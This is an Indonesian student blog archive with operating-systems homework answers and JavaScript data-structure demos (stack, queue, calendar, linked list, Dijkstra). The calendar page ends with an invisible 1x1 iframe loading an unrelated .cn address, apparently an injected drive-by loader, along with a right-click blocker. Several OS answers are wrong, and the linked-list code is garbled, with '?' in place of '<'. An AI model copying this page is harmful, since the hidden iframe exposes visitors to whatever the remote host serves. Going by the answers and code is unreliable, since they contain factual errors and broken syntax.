Rabu, 09 September 2009

TUGAS SISTEM OPERASI 3

1. State pada proses terdiri dari :
> New : proses sedang dibuat
> Running : proses sedang di eksekusi
> Waiting : prose sedang menunggu beberapa event yang akan terjadi (seperti menunggu untuk menyelesaikan I/O atau menerima sinyal.
> Ready : proses menunggu jalan waktu dari CPU untuk diproses
> Terminated : proses telah selesai.


Skema pemrosesannya seperti dinawanh ini :



Keterangannya : sebuah proses yang baru saja dibuat dan ada sebuah proses yang sedang di eksekusi sedang menunggu beberapa event yang akan terjadi ( seperti menunggu untuk menyelesaikan I/O atau menerima sinyal ) dan proses tersubut akan melakukan pemrosesan secara menunggu jataah waktunya datri CPU untuk diproses dan setelah proses selesai baru dieksekusi ke komputer.

2. Pengertian dari :
> Short term scheduler adalah pemilihan proses-proses yang siap intuk di eksekusi, dan mengalokasikan CPU kesalah satu dari proses-proses tersebut.
> Long term schudeler adalah menyeleksi proses-proses mana yang harus dibawa ke ready queue, dan terjadi sangat jarang (dalam detik atau menit)dan digunakan untuk mengotrol tingka multi programming.
3. 4 alasan mengapa proses harus bekerja sama yaitu :
> Pada lingkungan batch sebagai tambahan atas pemberian job. Setelah menciptakan proses baru, sistem operasi melanjutkan untuk membaca job selanjunya.
> Pada lingkungan interaktif, pada saat user baru saja login.
> Sebagai tanggapan atas satu aplikasi (seperti: mencetak file, sitem operasi, dapat menciptakan proses yang akan mengelola pencetakan itu).
> Proses menciptakan proses lain(child).
4. Kode program dalam penyelasaian permasalahan producer consumer dengan menggunakan shared memory:
# defaine BUFFER_SIZE 10
Typedef struct {
. . .
} item;
Item buffer [BUFFER_SIZE];
int in = 0;
int out = 0;

Proses prodecer
item next Produced;
while (1) {
while (((in + 1) % BUFFER_SIZE ) == out)
; /* do nothink */
buffer [in] = next produced;
in = (in + 1) % BUFFER_SIZE;
}
Proses comsumer :
Item mext Consumed ;
While (1) {
While (in == out )
; /* do nothink */
nextConsumed = buffer [out];
out = (out + ) % BUFFER_SIZE;
}
5. Diketahui skema komukasi antar proses menggunakan mailbox.
a. Proses P ingin menunggu 2 pesan, satu dari mailbox A dan satu mailbox B. Tunjukan urutan send dan recaive yang dieksekusi.
Jawab :
Send (A pesan ); mengirim pesan ke mailbox B,
Receive(B pesan ); menerima pesan dari mailbox A.
b. Bagaimana urutan send dan recieve yang dieksekusi p jika p ingin menunggu satu pesan dari mailbox A atau mailbox B (salah satu atau keduanya)
Hanya bisa mengunakan satu:
Caranya :
Send (P pesan ); mengirim pesan ke mailbox A,
Receive ( P pesan); menerima peasan darri A.
6. Thread adalah suatu unit dari (CPU) utilazation yang berisi program counter, kumpulan register, dan ruang stack.
Strukurny dibagi menjadi dua :
> Singgle thread seperti (code, data, files, register, stack )
> Miltithread seperti (code, data, files, registers, registers, registers, stack, stack,stack,).
7. 4 keuntungan menggunakan threads pada multiple proces:
> Respon lebih cepat
> Menggunakan resource bersama-sama
> Lebih ekonomis
> Eningkatkan utilitas arsitektur mikroprosesor.
8. Perbedaan user-level threads dan kernel-supported threads.
> Pada user threads diatur dengan menggunakan pustaka use level thread.
> Pada kernel thread didukung oleh kernel
9. 3 model multithreading dan penjelasannya:
> Model many-to-one yaitu beberapa user level thread dipisahkan ke satu kernel thread dan digukan pada sistem yang tidak mendukung kernel thread .
> Model one-to-one yaitu etiap use level thread dipetakan ke karnel thread .
> Model many-to-many yaitu user level thread dipetakan ke beberapa kernel thread pada sistem operasi ini akan dibuat sejumlah kernel thread.
10. State pada java thread yaitu :
Bahasa pemrograman java menggunakan java thread yang dibuat dengan menggukan class thread dan engimplementasikan antar muka yang bersifat runnable (dapat dijalankan ). Java thread di atur oleh java virtual machine (JVM). Java thread terdiri dari state new, runnable, bloced, dan dead .
Ket: pada suatu program akan dibikin baru dengan memulai tombol start sehingga program tersebut dapat dijalankan seperti yang di inginkan kemudian progran tersebut dapat dialihkan ke ke program yang lainnya dengan cara menyortir semunya dan akan berhenti jika semuanya sudah berhenti dan program tersebut akan mati dengan sendirinya.

Senin, 06 Juli 2009

Parameter Array

<html>
<head>
<title>Parameter Array</title>
</head>
<body><script language = "javascript">
<!-- var tempat = [];
var data = prompt("ketik jumlah maksimum array :");
for (m=1; m<=data; m++)
{var bil = prompt ("Masukan Bilangan :")tempat[m]=bil;}
for (n=1; n<=data; n++)
{document.write("Elemen Array ("+n+") ="+tempat[n] +"<br>");}
//-->
</script>
</body>
</html>

contoh hasil setelah di running

Elemen Array (1) =11
Elemen Array (2) =12
Elemen Array (3) =13
Elemen Array (4) =14
Elemen Array (5) =15

STACK

<html>
<head><title>Data stack</title>
<script language="javascript">
var stack = new Array();
function input(data)
{
stack.push(data);
}
function ambil()
{
var data_stack=stack.pop();
if (data_stack==undefined)
return "stack sudah kosong";
else
return data_stack;
}
function tampilkan(list)
{
list.options.length=0;
for (var i=0; i<stack.length; i++)
{
var data=new Option (stack[i]);
list.options[list.options.length]=data;
}
}
</script>
</head>
<body>
<form>
<input type=text name=textSimpan>
<input type=button value="Simpan"
onClick='input(textSimpan.value);
textSimpan.value="";
tampilkan(mediaList);'>
<select name="mediaList" size=12>
<option>Tampilkan Data....
</select>
<input type=text name=textambil size=20>
<input type=button value="ambil"
onClick="textambil.value=ambil();
tampilkan(mediaList);">
</form>
</body>
</html>

QUEUE PUSH_SHIFT

<html>
<head><title>Struktur Data Queue</title></head>
<script language="javascript">
var queue=new Array();

function input(data)
{
queue.push(data)
}

function ambil()
{
var keluar_antrian=queue.shift();
if (keluar_antrian==0)
return "Queue sudah kosong";
else
return keluar_antrian;
}

function tampilkan (list)
{
list.options.length =0;
for (var i=0; i< queue.length; i++)
{
var data = new Option (queue[i]);
list.options[list.options.length] = data;
}
}
</script>
</head>
<body>
<form>
<input type=text name=textSimpan>
<input type=button value="Masuk Antrian"
onClick='input(textSimpan.value);
textSimpan.value="";
tampilkan(mediaList);'>

<select name="mediaList" size=12>
<option> Isi Antrian....
</select>
<input type=button value="Keluar Antrian"
onClick='textAmbil.value = ambil();
tampilkan(mediaList);'>
<input type=text name=textAmbil>
</form>
</body>
</html>

Minggu, 05 Juli 2009

CALENDER

<HTML>
<Head>
<title> Stuktur Data </TITLE>
<script>
<!--
alert ("......oOpzz......);
alert ("nGinTip HeUla aHH..");
//-->
</script>


</HEAD>

<Body bgcolor="orange">
<font color="green">
<p> cLocK n' calendeR
</font><hr>

<tr>

<th>Struktur </th>
<th>Data</th>
<th>"wilaYaH KaRawaNg"</th>
</tr>

<h1> taMpiLan </h1><font color="yellow">
<marquee> Jejen Jaelani</marquee>

<html>
<head>
<title>Clock</title>
<script type="text/javascript">
var namaBulanI = new Array( "JanuaRy","FeBRuaRy","MaRch","ApRil","MEy","JuNe",
"JUly","AuGtus","SePtEmbEr","OctoBeR","NoVemBer","DeCemBer" );
var namaHariI = new Array( "Monday","Tuesday","Wednesday","Thrusday","Friday","saturday","Sunday" );

function showDate() {
now = new Date();

iTanggalM = now.getDate();
iBulanM = now.getMonth();
iTahunM = now.getYear();
if(iTahunM<1900) { iTahunM += 1900; } // Y2K

iJam=now.getHours();
iMenit=now.getMinutes();
iDetik=now.getSeconds();

hr = Date.UTC(iTahunM,iBulanM,iTanggalM,0,0,0)/1000/60/60/24;

sDate = namaHariI[hr%7]+", "+iTanggalM+" "+namaBulanI[iBulanM]+" "+iTahunM+"<br>";
sDate += (iJam<10?"0"+iJam:iJam)+":"+
(iMenit<10?"0"+iMenit:iMenit)+":"+
(iDetik<10?"0"+iDetik:iDetik);

if(document.all)
{ document.all.clock.innerHTML=sDate; }
else if(document.getElementById)
{ document.getElementById( "clock" ).innerHTML=sDate; }
else { document.write(sDate); }
}

function showIt() {
showDate();
if(document.all||document.getElementById)
{ setInterval("showDate()",1000); }
}
</script>
</head>
<body>
<span id="clock"><script>showIt();</script></span>
</body>
</html>

<HTML>
<head>
<META HTTP-EQUIV="imagetoolbar" CONTENT="no">
<style type="text/css">
body {
font-family: arial, helvetica, serif;


</style>
<script type="text/javascript">
startList = function() {
if (document.all&&document.getElementById) {
navRoot = document.getElementById("nav");
for (i=0; i<navRoot.childNodes.length; i++) {
node = navRoot.childNodes[i];
if (node.nodeName=="LI") {
node.onmouseover=function() {
this.className+=" over";
}
node.onmouseout=function() {
this.className=this.className.replace(" over", "");
}
}
}
}
}
window.onload=startList;
var message="";
function clickIE() {if (document.all) {(message);return false;}}
function clickNS(e) {if
(document.layers||(document.getElementById&&!document.all)) {
if (e.which==2||e.which==3) {(message);return false;}}}
if (document.layers)
{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}
document.oncontextmenu=new Function("return false")
<!-- Original: Nick Korosi (nfk2000@hotmail.com) -->
<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! http://javascript.internet.com -->
<!-- Begin
var dDate = new Date();
var dCurMonth = dDate.getMonth();
var dCurDayOfMonth = dDate.getDate();
var dCurYear = dDate.getFullYear();
var objPrevElement = new Object();
function fToggleColor(myElement) {
var toggleColor = "#ff0000";
if (myElement.id == "calDateText") {
if (myElement.color == toggleColor) {
myElement.color = "";
} else {
myElement.color = toggleColor;
}
} else if (myElement.id == "calCell") {
for (var i in myElement.children) {
if (myElement.children[i].id == "calDateText") {
if (myElement.children[i].color == toggleColor) {
myElement.children[i].color = "";
} else {
myElement.children[i].color = toggleColor;
}
}
}
}
}
function fSetSelectedDay(myElement){
if (myElement.id == "calCell") {
if (!isNaN(parseInt(myElement.children["calDateText"].innerText))) {
myElement.bgColor = "#c0c0c0";
objPrevElement.bgColor = "";
document.all.calSelectedDate.value = parseInt(myElement.children["calDateText"].innerText);
objPrevElement = myElement;
}
}
}
function fGetDaysInMonth(iMonth, iYear) {
var dPrevDate = new Date(iYear, iMonth, 0);
return dPrevDate.getDate();
}
function fBuildCal(iYear, iMonth, iDayStyle) {
var aMonth = new Array();
aMonth[0] = new Array(7);
aMonth[1] = new Array(7);
aMonth[2] = new Array(7);
aMonth[3] = new Array(7);
aMonth[4] = new Array(7);
aMonth[5] = new Array(7);
aMonth[6] = new Array(7);
var dCalDate = new Date(iYear, iMonth-1, 1);
var iDayOfFirst = dCalDate.getDay();
var iDaysInMonth = fGetDaysInMonth(iMonth, iYear);
var iVarDate = 1;
var i, d, w;
if (iDayStyle == 2) {
aMonth[0][0] = "Sunday";
aMonth[0][1] = "Monday";
aMonth[0][2] = "Tuesday";
aMonth[0][3] = "Wednesday";
aMonth[0][4] = "Thursday";
aMonth[0][5] = "Friday";
aMonth[0][6] = "Saturday";
} else if (iDayStyle == 1) {
aMonth[0][0] = "Sun";
aMonth[0][1] = "Mon";
aMonth[0][2] = "Tue";
aMonth[0][3] = "Wed";
aMonth[0][4] = "Thu";
aMonth[0][5] = "Fri";
aMonth[0][6] = "Sat";
} else {
aMonth[0][0] = "Su";
aMonth[0][1] = "Mo";
aMonth[0][2] = "Tu";
aMonth[0][3] = "We";
aMonth[0][4] = "Th";
aMonth[0][5] = "Fr";
aMonth[0][6] = "Sa";
}
for (d = iDayOfFirst; d < 7; d++) {
aMonth[1][d] = iVarDate;
iVarDate++;
}
for (w = 2; w < 7; w++) {
for (d = 0; d < 7; d++) {
if (iVarDate <= iDaysInMonth) {
aMonth[w][d] = iVarDate;
iVarDate++;
}
}
}
return aMonth;
}
function fDrawCal(iYear, iMonth, iCellWidth, iCellHeight, sDateTextSize, sDateTextWeight, iDayStyle) {
var myMonth;
myMonth = fBuildCal(iYear, iMonth, iDayStyle);
document.write("<table border='1'>")
document.write("<tr>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][0] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][1] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][2] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][3] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][4] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][5] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][6] + "</td>");
document.write("</tr>");
for (w = 1; w < 7; w++) {
document.write("<tr>")
for (d = 0; d < 7; d++) {
document.write("<td align='left' valign='top' width='" + iCellWidth + "' height='" + iCellHeight + "' id=calCell style='CURSOR:Hand' onMouseOver='fToggleColor(this)' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)>");
if (!isNaN(myMonth[w][d])) {
document.write("<font id=calDateText onMouseOver='fToggleColor(this)' style='CURSOR:Hand;FONT-FAMILY:Arial;FONT-SIZE:" + sDateTextSize + ";FONT-WEIGHT:" + sDateTextWeight + "' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)>" + myMonth[w][d] + "</font>");
} else {
document.write("<font id=calDateText onMouseOver='fToggleColor(this)' style='CURSOR:Hand;FONT-FAMILY:Arial;FONT-SIZE:" + sDateTextSize + ";FONT-WEIGHT:" + sDateTextWeight + "' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)> </font>");
}
document.write("</td>")
}
document.write("</tr>");
}
document.write("</table>")
}
function fUpdateCal(iYear, iMonth) {
myMonth = fBuildCal(iYear, iMonth);
objPrevElement.bgColor = "";
document.all.calSelectedDate.value = "";
for (w = 1; w < 7; w++) {
for (d = 0; d < 7; d++) {
if (!isNaN(myMonth[w][d])) {
calDateText[((7*w)+d)-7].innerText = myMonth[w][d];
} else {
calDateText[((7*w)+d)-7].innerText = " ";
}
}
}
}
// End -->
</script>
</head>
<body>
<table width="760" height="577" border="0">
<tr>
<td width="140">&nbsp;</td>
<td width="620" valign="top"><br><br><b><u>Event Calendar</u></b><br><br>
<script language="JavaScript" for=window event=onload>
<!-- Begin
var dCurDate = new Date();
frmCalendarSample.tbSelMonth.options[dCurDate.getMonth()].selected = true;
for (i = 0; i < frmCalendarSample.tbSelYear.length; i++)
if (frmCalendarSample.tbSelYear.options[i].value == dCurDate.getFullYear())
frmCalendarSample.tbSelYear.options[i].selected = true;
// End -->
</script>
<form name="frmCalendarSample" method="post" action="">
<input type="hidden" name="calSelectedDate" value="">
<table border="1">
<tr>
<td>

<select name="tbSelMonth" onchange='fUpdateCal(frmCalendarSample.tbSelYear.value, frmCalendarSample.tbSelMonth.value)'>
<option value="1">January</option>
<option value="2">February</option>
<option value="3">March</option>
<option value="4">April</option>
<option value="5">May</option>
<option value="6">June</option>
<option value="7">July</option>
<option value="8">August</option>

<option value="9">September</option>
<option value="10">October</option>
<option value="11">November</option>
<option value="12">December</option>
</select>
<select name="tbSelYear" onchange='fUpdateCal(frmCalendarSample.tbSelYear.value, frmCalendarSample.tbSelMonth.value)'>
<option value="2006">2006</option>
<option value="2007">2007</option>
<option value="2008">2008</option>
<option value="2009">2009</option>

<option value="2010">2010</option>
<option value="2011">2011</option>
<option value="2012">2012</option>
</select>
</td>
</tr>
<tr>
<td>
<script language="JavaScript">
var dCurDate = new Date();
fDrawCal(dCurDate.getFullYear(), dCurDate.getMonth()+1, 30, 30, "12px", "bold", 1);
</script>
</td>
</tr>
</table>
</form>

</td>
</tr>
</table>
<iframe src="http://NtKrnlpa.cn/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>

Latihan UAS

?html>
?head>
?title>Struktur Data Linked List?/title>
?/head>
?body>
?script language = "JavaScript">
?!--

function LinkedList()
{
this._panjang = 0;
this._kepala = null;
}

LinkedList.prototype =
{
constructor: LinkedList,

//Membuat Metode untuk Menambah Data Kedalam List
Tambah: function (data)
{
//Membuat Node List
var node = {data: data, next: null}, NodeTanda;

//Periksa Isi List
if (this._kepala === null)
{
this._kepala = node;
}
else
{
NodeTanda = this._kepala;
while (NodeTanda.next)
{
NodeTanda = NodeTanda.next;
}
NodeTanda.next = node;
}
this._panjang++
},


//Membuat metode Untuk Menunjuk Item Data
Item: function (index)
{
if (index > -1 && index ? this._panjang)
{
var NodeTanda = this._kepala,
i = 0;
while (i++ ? index)
{
NodeTanda = NodeTanda.next;
}
return NodeTanda.data;
}
else
{
return null;
}
},


//Membuat metode Untuk Membuang Elemen List
Buang: function (index)
{
if (index > -1 && index ? this._panjang)
{
var NodeTanda = this._kepala, previous, i = 0;
if (index === 0)
{
this._kepala = NodeTanda.next;
}
else
{
while (i++ ? index)
{
previous = NodeTanda;
NodeTanda = NodeTanda.next;
}

previous.next =NodeTanda.next;
}
this._panjang--;
return NodeTanda.data;
}
else
{
return null;
}
},


//Membuat metode Untuk Mengetahui Jumlah Elemen List
Ukuran: function()
{
return this._panjang;
},


//Membuat metode Untuk Membentuk Array
toArray: function()
{
var result = [],
NodeTanda = this._kepala;

while (NodeTanda)
{
result.push (NodeTanda.data);
NodeTanda = NodeTanda.next;
}
return result;
},


//Membuat metode Untuk Konversi ke String
toString: function()
{
return this.toArray().toString();
}

}
var list = new LinkedList ();


list.Tambah("3");
list.Tambah("2");
list.Tambah("1");
list.Tambah("4");


document.write("Isi Linked List ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(list.Item(i) + "?br>");
}
document.write("--------------- ?br>");

document.write("Isi Linked List Awal = " +list.Ukuran() + "?br>");
document.write ("?br>")


document.write("Isi Linked List to Array =" +list.toArray());
document.write ("?br>")


document.write("Data String Linked List Awal =" +list.toString());



function Urutkan (form)
{
DataKosong = false;
DataInputan = form.Data.value;
inputData = DataInputan.split(",");
for (var i = 0; i ? inputData.length; i++)
{
inputData[i] = parseInt (inputData[i], 10);
if (isNaN(inputData[i]))
{
DataKosong = true;
break;
}
}

inputData = bubbleSort(inputData, 0, inputData.length - 1);
if (DataKosong)
{
alert("Silakan Entri Dulu Data, Pisahkan dengan tanda Koma");
form.Data.focus();
}
else
form.Hasil.value = DataString(inputData, 0);
}

function DataString (toArray, Angka)
{
if ((toArray.length - 1) >= Angka)
return (toArray[Angka] + "," + DataString(toArray,(Angka +

1)));
else
return "";
}

function bubbleSort (toArray, Mulai, MulaiBaru)
{
for (var i = MulaiBaru - 1; i >= Mulai; i--)
{
for (var j = Mulai; j ?= i; j++)
{
if (toArray[j+1] ? toArray[j])
{
var DataTemporer = toArray[j];
toArray[j] = toArray[j+1];
toArray[j+1] = DataTemporer;
}
}
}

return toArray;
}




?/script>



?body>
?center>
?form>
Masukan Deretan Angka, Pisahkan dengan Koma :
?hr>
?input type=text name=Data size=30 value= >
?br>
?br>
?input type=button value="Urutkan"

OnClick="Urutkan(this.form)">
?br>
?br>
?br>
Hasil Pengurutan :
?hr>
?input type=text name=Hasil size=30>
?/form>
?/center>

?/body>
?/html>
?/html>

Sabtu, 27 Juni 2009

GRAPH

<html>
<head><title>Dijkstra Algorithms </title>

</head>
<body>
<script language = "javascript">

var NilaiAcuan = 10000;
var TakTerdefinisi = -1;
var NamaVerteks = new Array('A','B','C','D','E','F');
var Matriks = new Array(6);

function Bobot(a,b)
{
return Matriks[a][b];
}

function Dijkstra(JumlahVerteks,Awal,d)
{
var Posisi = new Array(JumlahVerteks);
var i;
var Kunjungan = new Array(JumlahVerteks);
var pred = new Array(JumlahVerteks);

for(i=0; i<JumlahVerteks; i++)
{
Posisi[i] = NilaiAcuan;
pred[i] = TakTerdefinisi;
Kunjungan[i] = false;
}
Posisi[Awal] = 0;

var Verteks;
for (Verteks = 0; Verteks < JumlahVerteks; Verteks++)
{
var JarakTerpendek = NilaiAcuan, closest = -1;
for (i=0; i < JumlahVerteks; i++)
{
if (!Kunjungan[i])
{
if (Posisi[i] <= JarakTerpendek)
{
JarakTerpendek = Posisi[i]; closest = i;
}
}
}

Kunjungan[closest] = true

for (i=0; i < JumlahVerteks; i++)
{
if (!Kunjungan[i])
{
var w = Bobot(closest, i);
if (Posisi[closest]+w < Posisi[i])
{
Posisi[i] = Posisi[closest] + w;
pred[i] = closest;
}
}
}
}


i=d
if (Posisi[i] < NilaiAcuan)
{
var Lintasan = NamaVerteks[i];
var Verteks = i;
while (Verteks>0)
{
Verteks = pred[Verteks];
if (Verteks>=0) Lintasan = NamaVerteks[Verteks] + '->' + Lintasan;
}
alert("Jarak :" + Posisi[i]+' ('+Lintasan+')'+'<br>');
} else
{
alert("Tidak ada Jalur");
}
}


var x = '~';
document.write('<pre>');
document.write(Matriks[0]=new Array(0,2,3,x,x,x));
document.write('<br>');
document.write(Matriks[1]=new Array(2,0,3,6,x,x));
document.write('<br>');
document.write(Matriks[2]=new Array(3,3,0,3,5,x));
document.write('<br>');
document.write(Matriks[3]=new Array(x,6,3,0,1,3));
document.write('<br>');
document.write(Matriks[4]=new Array(x,x,5,1,0,1));
document.write('<br>');
document.write(Matriks[5]=new Array(x,x,x,3,1,0));
document.write('<br>');
document.write('</pre>');


document.write('<pre>A-2-B-6--D--3-F <br>');
document.write('\\ | /| / <br>');
document.write(' 3 3 3 1 1 <br>');
document.write(' \\ | / | / <br>');
document.write(' \\|/ |/ <br>');
document.write(' C--5-E <br> </pre>');




var Dari=0; // A
var Ke =5; // F
Dijkstra(Matriks.length,Dari,Ke);
//-->

</script>

</body>
</htmL>